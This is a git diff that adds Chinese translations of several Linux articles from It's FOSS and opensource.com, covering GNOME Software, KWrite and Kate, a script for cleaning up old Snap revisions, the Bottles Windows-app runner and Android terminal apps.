LaTeX 用户,你应该发现所有这些选项对高效的编辑经体验都很有用。如果你是 TeX/LaTeX 文档的新手,你仍然可以使用它的模板、快速函数、自动完成功能,使体验变得简单。 + +你最喜欢的 LaTeX 文档编辑器是什么?欢迎在下面的评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/kile/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/latex-editors-linux/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kile-latex-editor.png?resize=800%2C450&ssl=1 +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kile-latex.png?resize=800%2C534&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kile-settings.png?resize=732%2C588&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kile-setup.png?resize=800%2C682&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kile-setup-1.png?resize=800%2C757&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/kile-templates.png?resize=800%2C652&ssl=1 +[8]: https://www.microsoft.com/en-in/p/kile/9pmbng78pfk3?rtc=1&activetab=pivot:overviewtab +[9]: https://invent.kde.org/office/kile +[10]: https://apps.kde.org/kile/ diff --git a/published/202202/20220217 A guide to installing applications on Linux.md b/published/202202/20220217 A guide to installing applications on Linux.md new file mode 100644 index 0000000000..4a296643be --- /dev/null +++ b/published/202202/20220217 A guide to installing applications on Linux.md @@ -0,0 +1,77 @@ +[#]: subject: "A guide to installing applications on Linux" +[#]: via: "https://opensource.com/article/22/2/installing-applications-desktop-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14305-1.html" + +在 Linux 上安装应用指南:软件中心篇 +====== + +> 从我们的新电子书中获得关于在 Linux 上安装应用的所有不同方法的信息。 + +![](https://img.linux.net.cn/data/attachment/album/202202/25/111618skx1ckb35r3kmx4k.jpg) + +当你想在你的手机上尝试一个新的应用时,你打开应用商店并安装该应用。这很简单,很快速,很高效。在这种提供应用的模式中,手机供应商可以让你确切地知道到哪里去获得一个应用,而应用的开发者也知道将他们的应用放在哪里,以便人们能够找到它们。 + +在手机使用这种创新的软件分发模式之前,Linux 正以“软件仓库”的形式使用它。正如这个术语所暗示的,这些是在互联网上传应用的地方,这样 Linux 用户就可以从一个中心位置浏览和安装它们。这个术语被缩短为 “repo”(代表 “repository”,而不是 “reposession”),但无论你叫它“仓库”、“应用商店”、“软件中心”、“包管理器”,还是其他什么,它都是一个好系统,几十年来一直为 Linux 桌面用户服务。 + +最起码在 Linux 上安装应用很像在手机上安装应用。如果你能用一个安装,你也可以用另外一个安装。 + +- 下载我们的电子书:[在 Linux 上安装应用指南][2] + +### 软件中心 + +在 GNOME 桌面上,你在桌面上看到的软件仓库是一个应用,简单地说,叫 “软件Software”。你可以把这个应用看成是一个极其特殊的网页浏览器。它寻找可以从互联网上安装的软件,将所有可用的软件收集到分类中,并将其显示在你的桌面上。 + +![GNOME Software][3] + +在开始屏幕中,你有几个选项: + + * 搜索一个你已经熟悉的应用。要做到这一点,点击窗口左上角的放大镜图标。 + * 按类别浏览。这可以在窗口的底部找到。 + * 按最近时间和推荐浏览。这些都列在动画横幅和它下面的图标中。 + +当你点击一个你看起来感兴趣的应用时,会打开一个功能页面,这样你就可以看到截图并阅读软件的简短描述。 + +### 安装一个应用 + +当你找到了你想要安装的软件,点击应用功能页面顶部的“安装Install”按钮。 + +![An application page in GNOME Software][5] + +安装完毕后,“安装Install”按钮就会变成“启动Launch”按钮,所以你可以选择启动你刚刚安装的应用。 + +如果你现在不想启动该应用,你可以随时在你的“活动Activities”菜单中找到它,它与你电脑上已有的所有其他应用放在一起。 + +### 从更多的地方获得更多的应用 + +你的 Linux 桌面有专门为它打包的应用,但在今天的世界里,到处都有很多开源的东西。你可以通过将“第三方”仓库添加到你的桌面应用商店中来获得更多的应用。当然,这些术语并不完全正确:在一个无论如何都是由每个人创造软件的世界里,什么是“第三方”?当没有任何东西需要花钱时,什么是应用商店?撇开术语不谈,一个流行的第三方软件库是 [Flathub.org][6]。 + +要在你的 Linux 桌面上增加另一个应用源,基本上是“安装”一个源到你的应用商店。对于 Flathub,下载 **Flathub 仓库文件**,然后用 **GNOME 软件**安装它,就像它是一个应用一样。它不是一个应用。它是一个应用 _源_,但过程是一样的。 + +### 了解更多 + +如果没有一堆其他方法来执行任何给定的任务,那就不是 Linux 了。灵活性是建立在 Linux 系统中的,所以虽然 GNOME “软件”提供了一种获取应用的简单方法,但还有很多其他方法,包括安装脚本、安装向导、AppImages,当然还有直接从源代码编译。你可以从我们的新电子书 [在 Linux 上安装应用][2] 中获得所有这些安装方法的信息。它是免费的,所以请阅读吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/installing-applications-desktop-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/bitmap_1.png?itok=YkthYzSf (Linux packages) +[2]: https://opensource.com/downloads/installing-linux-applications-ebook +[3]: https://opensource.com/sites/default/files/gnome-software_1.png (GNOME Software) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/gnome-software-steam.png (An application page in GNOME Software) +[6]: http://flathub.org/setup diff --git a/published/202202/20220217 Edit text on Linux with KWrite and Kate.md b/published/202202/20220217 Edit text on Linux with KWrite and Kate.md new file mode 100644 index 0000000000..d92891aff6 --- /dev/null +++ b/published/202202/20220217 Edit text on Linux with KWrite and Kate.md @@ -0,0 +1,107 @@ +[#]: subject: "Edit text on Linux with KWrite and Kate" +[#]: via: "https://opensource.com/article/22/2/edit-text-linux-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14310-1.html" + +用 KWrite 和 Kate 在 Linux 上编辑文本 +====== + +> 两个 Linux KDE 文本编辑器。一个强大的 KTextEditor 库。 + +![](https://img.linux.net.cn/data/attachment/album/202202/27/144611kfsjnefsnlc2c9ee.jpg) + +文本编辑器通常是一个很好的示例应用,可以展示一个编程框架能够产生什么。我自己在关于 [wxPython、PyQt][2] 和 [Java][3] 的文章中至少写过三个文本编辑器的例子。它们被视为容易创建的应用的原因是,这些框架提供了许多最难编写的代码。我认为这也是大多数操作系统提供简单的桌面文本编辑器的原因。它们对用户有用,对开发者也很容易开发。 + +在 KDE Plasma 桌面上,有两个文本编辑器可供选择:简陋的 KWrite 和强大的 Kate。它们之间共享一个来自 KDE 框架的名为 KTextEditor 的库,它提供了强大的文本编辑选项,所以无论你选择哪一个,你都拥有比你可能习惯的、由桌面提供的“基本”文本编辑器更多的功能。在不同的文本编辑器中使用相同的组件,意味着一旦你习惯了 KDE 中的文本编辑界面,你基本上就能熟悉它们了,如 KWrite、Kate、KDevelop 等。 + +### 安装 KWrite 或 Kate + +KWrite 和 Kate 在同一个 [开发库][4] 中维护。 + +然而,它们是作为独立的应用发布的,并且有不同的使用场景。 + +如果你安装了 KDE Plasma 桌面,你可能已经安装了 KWrite,但你可能需要单独安装 Kate。 + +``` +$ sudo dnf install kwrite kate +``` + +KWrite 可以从 [apps.kde.org/kwrite][5] 获得,而 Kate 可以从 [apps.kde.org/kate/][6] 获得。 + +两者都可以通过 KDE “发现Discover” 安装,KWrite 可以 [作为 flatpak 安装][7]。 + +### KWrite,不那么基本的编辑器 + +开始使用 KWrite 很容易。你从你的应用菜单中启动它,然后开始打字。如果你在最基本的文本编辑器之外没有别的需求,那么你可以把它当作一个简单的电子记事本。 + +![The KWrite text editor][8] + +所有通常的惯例都适用。在大文本区域输入文字,完成后点击保存按钮。 + +然而,KWrite 与标准的桌面编辑器不同的是,它使用 KTextEditor 库。 + +### 书签 + +当你在 KWrite 或 Kate 中工作时,你可以创建临时书签来帮助你找到文档中的重要位置。要创建一个书签,按 `Ctrl+B`。你可以通过在“书签Bookmark”菜单中选择它来移动到书签。 + +书签不是永久性的元数据,它们也不会作为文档的一部分被存储,但当你在工作中需要在各部分之间来回移动时,它们是有用的工具。在其他文本编辑器中,我可以只是输入一些随机的词,比如 “foobar”,然后对这个字符串进行“查找Find”,以返回到那个位置。书签是解决这个问题的一个更优雅的方案,而且它们不会有让你的文档充满占位符的风险,因为你可能忘记删除它们。 + +### 高亮显示 + +在 KWrite 和 Kate 中,你都可以激活语法高亮,这样你就可以深入了解你正在处理的文本。在其他文字处理程序中,你可能不会有意识地使用高亮显示,但如果你曾经使用过带有自动拼写和语法检查的编辑器,你就会看到一种高亮显示。在大多数现代文字处理程序中,拼写错误被标记的红色警告线就是一种语法高亮的形式。KWrite 和 Kate 可以同时通知你写作中的错误和成功。 + +要查看拼写错误,请进入“工具Tools”菜单,选择“拼写Spelling”。从子菜单中,激活“自动拼写检查Automatic Spell Checking”。 + +要获得你以特定格式写的东西的视觉反馈,例如 [Markdown][11]、HTML 或像 [Python][12] 这样的编程语言,去“工具Tools”菜单,选择“模式Mode”。有很多模式,分为几个类别。找到你要写的格式并选择它。文档模式加载在高亮模式中。你可以通过选择“高亮Highlighting”而不是“模式Mode”来覆盖一个模式的高亮方案。 + +![Text highlighting][13] + +我最喜欢的功能之一是窗口右侧的文档概览。它基本上是整个文档的一个非常细微的缩略图,所以你只需点击一下就可以滚动到特定区域。它可能看起来太小而无用,但它比人们想象的更容易确定一个章节的标题或文档中的一个近似区域,并通过点击就能接近它。 + +### Kate 的与众不同之处 + +由于 KWrite 和 Kate 使用相同的底层组件,你可能想知道为什么你需要从 KWrite 升级到 Kate。如果你决定试用 Kate,你不会因为文本编辑而这样做。所有影响你如何输入和与你的文本互动的功能在这两个应用程序之间都是一样的。然而,Kate 为编码者增加了很多功能。 + +![Coding in Kate][14] + +Kate 有一个侧边栏,你可以查看你的文件系统或项目目录。值得注意的是,Kate 有项目的概念,所以它可以将一个代码文件与同一目录下的头文件联系起来,比如说。它还有一个弹出式终端(只需按下 `F4`),并能将你的文档中的文本通过管道传送到终端会话中。 + +它还有一个会话管理器,这样你就可以为不同的活动配置一个独特的 Kate。 + +### 选择你的 Linux 文本编辑器 + +我们很容易忽视 KWrite 和 Kate。因为它们都是与桌面一起出现的,所以很容易把它们视作开发者强制包含的简单文本编辑器的例子。但这远远不准确。KWrite 和 Kate 是 KDE 系列应用中的典范。它们例证了 KDE 框架所提供的内容,并为期待强大、有意义和有用的 KDE 应用奠定了基础。 + +了解一下 KWrite 和 Kate,看看哪一个适合你。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/edit-text-linux-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/article/17/4/pyqt-versus-wxpython +[3]: https://opensource.com/article/20/12/write-your-own-text-editor +[4]: https://invent.kde.org/utilities/kate +[5]: http://apps.kde.org/kwrite +[6]: https://apps.kde.org/kate +[7]: https://opensource.com/article/21/11/install-flatpak-linux +[8]: https://opensource.com/sites/default/files/kwrite-ui.jpg (The KWrite text editor) +[9]: https://creativecommons.org/licenses/by-sa/4.0/ +[10]: https://www.gutenberg.org/cache/epub/41445/pg41445.txt +[11]: https://opensource.com/article/19/9/introduction-markdown +[12]: https://opensource.com/article/17/10/python-101 +[13]: https://opensource.com/sites/default/files/kwrite-ui-mode.jpg (Text highlighting) +[14]: https://opensource.com/sites/default/files/kate-ui.jpg (Coding in Kate) diff --git a/published/202202/20220217 How to Clean Up Snap Package Versions in Linux -Quick Tip.md b/published/202202/20220217 How to Clean Up Snap Package Versions in Linux -Quick Tip.md new file mode 100644 index 0000000000..8f44bca48e --- /dev/null +++ b/published/202202/20220217 How to Clean Up Snap Package Versions in Linux -Quick Tip.md @@ -0,0 +1,133 @@ +[#]: subject: "How to Clean Up Snap Package Versions in Linux [Quick Tip]" +[#]: via: "https://itsfoss.com/clean-snap-packages/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14302-1.html" + +如何在 Linux 中清理 Snap 包的版本 +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/24/153025zxi8112125hrxrl8.jpg) + +Snap 软件包并不是每个人都喜欢的,但它们是 Ubuntu 生态系统中不可或缺的一部分。 + +它有其优点和缺点。其中一个缺点是,Snap 包通常体积较大,占用大量的磁盘空间。如果你的磁盘空间不够用,特别是在根分区上,这可能是一个问题。 + +让我分享一个巧妙的技巧,你可以用它来减少 Snap 包使用的磁盘空间。 + +### 清理旧的 Snap 包版本以释放磁盘空间 + +与 snap 有关的系统文件都存放在 `/var/lib/snapd` 目录下。根据你所安装的 Snap 包的数量,这个目录的大小可能在几 GB。不要只听我的一面之词。通过 [使用 du 命令检查目录大小][1] 来进行评估。 + +``` +$ sudo du -sh /var/lib/snapd +5.4G /var/lib/snapd +``` + +你也可以使用磁盘使用分析器这个 GUI 工具来查看 [Ubuntu 的磁盘使用情况][2]。 + +![Snap disk usage][3] + +这可真够多的,对吧?你可以在这里腾出一些磁盘空间。根据设计,Snap 至少会在你的系统上保留一个你所安装的软件包的旧版本。你可以通过使用 Snap 命令看到这种行为: + +``` +snap list --all +``` + +你应该看到同一个软件包被列了两次,而且版本和修订号都不同。 + +![Snap keeps at least two versions of each package][4] + +为了释放磁盘空间,你可以删除额外的软件包版本。你怎么知道要删除哪一个呢?你可以看到,这些较旧的软件包被标记为“禁用”。 + +不要担心。你不需要手动操作。由于 Alan Pope 在 [Snapcraft][5] 团队工作时写的一个灵巧的 bash 脚本,有一种自动的方法可以做到。 + +我希望你知道 [如何创建和运行 bash shell 脚本][6]。基本上,创建一个名为 `clean-snap.sh` 的新文件,并在其中添加以下几行。 + +``` +#!/bin/bash +# Removes old revisions of snaps +# CLOSE ALL SNAPS BEFORE RUNNING THIS +set -eu +snap list --all | awk '/disabled/{print $1, $3}' | + while read snapname revision; do + snap remove "$snapname" --revision="$revision" + done +``` + +保存它并关闭编辑器。要运行这个脚本,把它放在你的主目录中,然后 [在 Ubuntu 中打开终端][7],运行这个命令: + +``` +sudo bash clean-snap.sh +``` + +你可以看到,它开始删除旧版本的软件包。 + +![Removing old snap package versions][8] + +如果你现在检查 Snap 使用的磁盘空间,你会发现现在的目录大小已经减少了。 + +``` +$ sudo du -sh /var/lib/snapd +3.9G /var/lib/snapd +``` + +如果这对你有用,你可以偶尔运行这个命令。 + +#### 这个脚本是如何工作的? + +如果你对这个脚本的作用感到好奇,让我来解释一下。 + +你已经看到了 `snap list -all` 命令的输出。它的输出被传递给 [awk 命令][9]。Awk 是一个强大的脚本工具。 + +`awk '/disabled/{print $1, $3}'` 部分在每一行中寻找字符串 `disabled`,如果找到它,它将提取第一列和第三列。 + +这个输出被进一步传递给 `while` 和 `read` 命令的组合。读取命令获取第一列的 Snap 包名和第三列的修订号变量。 + +然后,这些变量被用来运行 `snap remove` 命令,用 Snap 包名和它的修订号来删除。 + +只要发现有包含 `disabled` 字符串的行,就会运行 `while` 循环。 + +如果你对 shell 脚本略知一二,这一切就很容易理解了。如果你不熟悉,我们有一个 [初学者的 bash 教程系列][10] 给你。 + +### 你拿回了你的空间了吗? + +你可能会看到一些论坛建议将 Snap 软件包的保留值设置为 2。 + +``` +sudo snap set system refresh.retain=2 +``` + +我认为现在不需要了。现在 Snap 的默认行为是为任何软件包保存两个版本。 + +总而言之,如果你的空间不够用,摆脱额外的软件包版本肯定是 [释放 Ubuntu 磁盘空间的方法][11] 之一。 + +如果这个教程帮助你释放了一些空间,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/clean-snap-packages/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://linuxhandbook.com/find-directory-size-du-command/ +[2]: https://itsfoss.com/check-free-disk-space-linux/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/snap-disk-usage.png?resize=800%2C323&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/snap-keeps-two-versions-of-each-package.png?resize=800%2C347&ssl=1 +[5]: https://snapcraft.io/ +[6]: https://itsfoss.com/run-shell-script-linux/ +[7]: https://itsfoss.com/open-terminal-ubuntu/ +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/removing-old-snap-package-versions.png?resize=800%2C445&ssl=1 +[9]: https://linuxhandbook.com/awk-command-tutorial/ +[10]: https://linuxhandbook.com/tag/bash-beginner/ +[11]: https://itsfoss.com/free-up-space-ubuntu-linux/ diff --git a/published/202202/20220218 Bottles 2022.2.14 Release Lets You Easily Install Windows Apps on Linux.md b/published/202202/20220218 Bottles 2022.2.14 Release Lets You Easily Install Windows Apps on Linux.md new file mode 100644 index 0000000000..84c79bb9fe --- /dev/null +++ b/published/202202/20220218 Bottles 2022.2.14 Release Lets You Easily Install Windows Apps on Linux.md @@ -0,0 +1,105 @@ +[#]: subject: "Bottles 2022.2.14 Release Lets You Easily Install Windows Apps on Linux" +[#]: via: "https://news.itsfoss.com/bottles-2022-2-14-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14285-1.html" + +Bottles:在 Linux 上轻松安装 Windows 应用程序 +====== + +> 随着最新发布的更新,Bottles 正在成为一个近乎完美的解决方案,无需任何特别的努力就可以在 Linux 上安装 Windows 应用程序。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/bottles-release.png?w=1200&ssl=1) + +你可以 [使用 Wine 在 Linux 上安装 Windows 应用程序][1],但它并不适用所有的应用程序。此外,它还需要你手动配置东西。那么,有什么简单的选择呢? + +虽然 [CrossOver][2] 一直在尽力使这个过程更容易,但还另一个解决方案:Bottles。 + +随着 Bottles 的最新发布,它的目标是更加顺滑地以最小的调整来运行你喜欢的 Windows 应用程序。 + +### Bottles 2022.2.14 的新变化 + +该版本带来了一些新功能、改进和大量的错误修复。让我强调一下以下关键变化: + +#### 安装程序 + +以下是开发者对新功能的介绍: + +> 这些是由 Bottles 解释的指令集,以重现程序的安装。这个过程是由维护者写在清单文件中的,他们能够按照同样的步骤安装程序。 + +![][3] + +简单来说,这些一键式安装程序会自动安装软件,而不需要你手动调整什么。这类似于 [Lutris][4] 帮助游戏玩家安装一个需要大量调整的游戏。 + +目前只有不多的几个安装程序,主要是第三方游戏启动程序。用户如果想安装像 Origin 这样的程序,可以简单地在他们的首选“瓶子”中进入安装程序部分,点击下载按钮。(LCTT 译注:“瓶子”指一个虚拟环境。) + +开发人员还承诺,你可以期待很快有更多的安装程序。 + +#### 一个专门的应用程序商店 + +为了展示可用的安装程序,他们在其官方网站上推出了一个 [应用商店][5]。它包含了所有可用安装程序的列表和必要的信息,如依赖性、配置和支持的架构。用户可以期待更多有用的功能,如评论功能很快就会到来。 + +![][6] + +需要注意的一点是,并不是所有的安装程序都能完美无缺地工作。因此,开发者引入了一种叫做“等级”的东西,指的是安装的程序的顺利工作的程度。分级范围从铜级到白金级,与 Wine 的兼容性评级方式非常相似。 + +用户可以放心,每个安装程序至少都可以运行该程序并执行程序所需完成的主要功能。但除非安装程序被评为白金级,否则用户应该对错误、图形故障和崩溃的出现有所预期。此外,安装程序也会与还原点一起工作。 + +#### 新的搜索栏 + +拥有多个“瓶子”的用户现在可以使用全新的搜索功能来寻找特定的“瓶子”。请注意,它在默认情况下是隐藏的,如果你至少安装了 10 个“瓶子”,就会自动启用。 + +![][7] + +我觉得,作为搜索栏的基本功能应该已经实现了,总比没有强! + +#### “瓶子”的自定义路径 + +以前,用户不能为“瓶子”设置自定义路径。在这个版本中,用户可以在偏好部分中实现这一功能。如果用户的存储空间不足,并计划使用一个单独的驱动器,这非常有帮助。 + +请注意,Flatpak 用户得专门为 Bottles 启用权限,以访问 Flatpak 环境之外的任何位置。你也可以试试 [Flatseal 来管理 Flatpak 的权限][8]。 + +#### 改进和错误修复 + +除了主要的功能升级外,还有一些有用的全面改进,一些值得强调的有: + + * 可用于非 Flapak 软件包的运行环境,可通过首选项中的核心部分安装。 + * 用户现在能够使用内置的任务管理器终止正在进行的进程。 + * 用户还可以从位于上下文菜单中的终端中启动程序。 + * 已经有了对 Gamescope 和 dxvk-async 组件的支持。 + +这个版本中也修复了各种基本的错误。其中包括 Flatpak 版本中游戏模式的修复,以及 DXVK 版本的改变,删除了初始备份。 + +你可以参考他们的 [官方发布说明][9] 来了解更多的技术细节。 + +### 总结 + +Bottles 的目标是成为每个运行 Windows 软件的 Linux 用户的必备应用。而且,有了所有这些改进,它看起来很有前景! + +安装程序的增加应该对很多用户有极大的帮助。你怎么看?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/bottles-2022-2-14-release/ + +作者:[Rishabh Moharir][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/use-windows-applications-linux/ +[2]: https://news.itsfoss.com/crossover-21-1-0-release/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/bottles-installers.png?w=955&ssl=1 +[4]: https://lutris.net/ +[5]: https://usebottles.com/appstore/ +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/bottles-app-details.png?w=1395&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/bottles-search.png?w=902&ssl=1 +[8]: https://itsfoss.com/flatseal/ +[9]: https://usebottles.com/blog/release-2022.2.14/ diff --git a/published/202202/20220218 Use Linux Terminal on Android Smartphones With These Apps.md b/published/202202/20220218 Use Linux Terminal on Android Smartphones With These Apps.md new file mode 100644 index 0000000000..18d868a11b --- /dev/null +++ b/published/202202/20220218 Use Linux Terminal on Android Smartphones With These Apps.md @@ -0,0 +1,184 @@ +[#]: subject: "Use Linux Terminal on Android Smartphones With These Apps" +[#]: via: "https://itsfoss.com/using-linux-terminal-android/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14286-1.html" + +在安卓手机上使用 Linux 终端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/19/190329mrnlr1fzkrmeewe5.jpg) + +想练习 Linux 命令吗?你不需要为此而安装一个完整的发行版。 + +有很多 [让你在线使用 Linux 终端的网站][1]。这些网站在桌面上运行良好,但在移动设备上却不适合。 + +别担心。安卓毕竟是基于 Linux 内核的。有几个应用程序可以让你用你的安卓智能手机练习 Linux 命令,或通过 SSH 连接到远程服务器。 + +当然,你不应该指望它能取代你在台式机上使用的常规 [Linux 终端仿真器][2]。在安卓上有相当多的这类应用。 + +为了方便起见,我添加了两个不同的类别,一个涵盖了终端模拟器,另一个是为远程连接功能(SSH)以及终端界面量身定做的。 + +> 非 FOSS 提醒! +> +> 这里提到的一些应用程序不是开源的,它们都做了适当的提示。它们被涵盖在这里是因为它们可以让你在安卓上使用 Linux 终端。 + +### Linux 终端仿真器应用 + +请注意,你需要在你的安卓手机上有 root 权限,才能使用 `ls` 等命令在目录中导航、复制/粘贴、并执行高级操作。 + +**注意:** 对于大多数应用程序/终端,没有 root 权限你将只限于基本的操作,如测试 ping、更新,以及在支持的地方安装包。 + +#### 1、Qute 终端仿真器(非 FOSS) + +![][3] + +[Qute][6] 终端模拟器提供了对你的安卓设备上的内置命令行 Shell 的访问。 + +你可以在你的智能手机上使用常见的命令,如 `ping`、`trace`、`cd`、`mkdir` 等等。除了一些 [有用的 Linux 命令][4] 之外,你还可以安装 bin 文件和创建 [shell 脚本][5]。 + +伴随着 bash 脚本编辑器和对已 root 的设备的支持,它应该是一个令人兴奋的选择,可以尝试。 + +它还提供了启用浅色主题、隐藏键盘、切换语法高亮和其他一些功能。 + +不幸的是,开发者提到,根据谷歌最新的隐私政策,安卓 11 及更新版本存在一些已知的问题。因此,如果没有一个已 root 的设备,你可能做不了什么。 + +#### 2、安卓终端仿真器(FOSS) + +![][7] + +Jack Palevich 的 “[终端仿真器][9]” 是最古老的可用于安卓的 Linux 终端仿真器之一。 + +你可以使用简单的命令、添加多个窗口,并使用启动器的快捷键进行快速操作。 + +它最好的地方是没有任何广告和应用内购买选项,也没有干扰性元素。然而,它已经很久没有被维护了,它的 [GitHub 页面][8] 也在 2020 年被归档,这标志着它的开发已经结束。 + +但即使在目前的状态下,它似乎也对众多用户有用。因此,在否定它之前,你可以试试。 + +#### 3、Material Terminal(非 FOSS) + +![][10] + +[Material Terminal][11] 是 “安卓终端仿真器” 的重新换肤版本。 + +你可以获得相同的功能,有多个窗口、没有广告、基本命令开箱即用,还可以选择在已 root 的设备上安装 Busy Box,以及其他命令行工具。 + +简单的说,就是前一个选项中的一切,加上一个 Material Design 用户界面。很好,对吗? + +### SSH 客户端和 Linux 终端 + +你想要一个能够使用 SSH 连接的安卓终端仿真器吗?或者,也许只是为 SSH 远程连接而定制? + +这里有一些选择: + +#### 4、Termux(FOSS) + +![][12] + +[Termux][17] 是一个相当流行的可用于安卓的终端仿真器。它有一个全面的软件包集合,让你体验 bash 和 zsh。 + +如果你有 root 权限,你还可以 [用 nnn 管理文件][13],并用 `nano`、`vim` 或 `emacs` 来编辑文件。用户界面除了终端外没有其他东西。 + +你还可以 [使用 SSH 访问服务器][14]。除此之外,你还可以用 clang、`make` 和 `gbd` 进行 C 语言开发。当然,这些都取决于你的需要,以及你是否有一个已 root 的设备。 + +你也可以查看它的 [GitHub 页面][15] 来解决发现的问题。截至目前,由于一些技术原因,Play Store 版本的更新已停止了。因此,如果可用的 Play Store 版本不能工作,你可以通过 [F-Droid][16] 安装最新版本。 + +#### 5、Termius(非 FOSS) + +![][18] + +[Termius][20] 是一个 SSH 和 SFTP 的定制客户端,专门用于从安卓设备进行远程访问。 + +通过 Termius,你可以管理 UNIX 和 Linux 系统。Play Store 页面将其描述为一个漂亮的安卓版 Putty 客户端,这一点是正确的。 + +用户界面很容易理解,看起来并不令人困惑。它还支持 Mosh 和 Telnet 协议。 + +当你连接到一个远程设备时,它可以检测到操作系统,如树莓派、Ubuntu、Fedora。你也可以用你的键盘连接到运行这个应用程序的手机上工作。最重要的是,没有任何广告或横幅,使它成为一个完美的远程连接应用程序。 + +它确实提供了可选的高级服务(14 天免费试用),具有更多的功能,如加密的交叉同步、SSH 密钥代理转发、SFTP、终端标签等。你也可以在其 [官方网站][19] 上了解更多关于它的信息。 + +#### 6、JuiceSSH(非 FOSS) + +![][21] + +[JuiceSSH][22] 是另一个流行的 SSH 客户端,有大量免费的功能和一个可选的专业版升级。 + +除了支持 Telnet 和 Mosh 之外,你还可以使用一些第三方插件来扩展功能。你可以从一系列可用的选项中调整外观,并按组轻松组织你的连接。 + +不要忘了,还有 IPv6 支持。 + +如果你选择专业版升级,你可以与 AWS 集成,启用安全同步,自动备份等等。 + +#### 7、ConnectBot(FOSS) + +![][23] + +如果你想要的只是一个简单的 SSH 客户端,[ConnectBot][24] 应该能满足你的需求。 + +你可以管理同时进行的 SSH 会话、创建安全隧道,并获得在其他应用程序之间复制/粘贴的能力。 + +### 赠品:无需 root 设备就能访问 Linux 发行版和命令 + +如果你没有已 root 的安卓手机,也不打算去 root 它,你有一个独特的选择,让你在智能手机上安装 Linux 发行版。 + +- [Andronix][25] (部分开源) + +你可以得到广泛的 Linux 发行版和琳琅满目的桌面环境以及窗口管理器。 + +最重要的是,你不需要一个已 root 的设备来使用各种 Linux 命令。你只需要安装你最喜欢的发行版就可以做到这一切。 + +除了使用方便外,它还提供高级选项,使你能够获得离线发行版安装和跨设备同步命令的能力。 + +当然,你安装了一个 Linux 发行版并不意味着你可以做所有事情,但它仍然是一个很好的选择。你可以在 [Play Store][26] 找到它,并在 [GitHub][27] 上了解关于它的更多信息。 + +## 总结 + 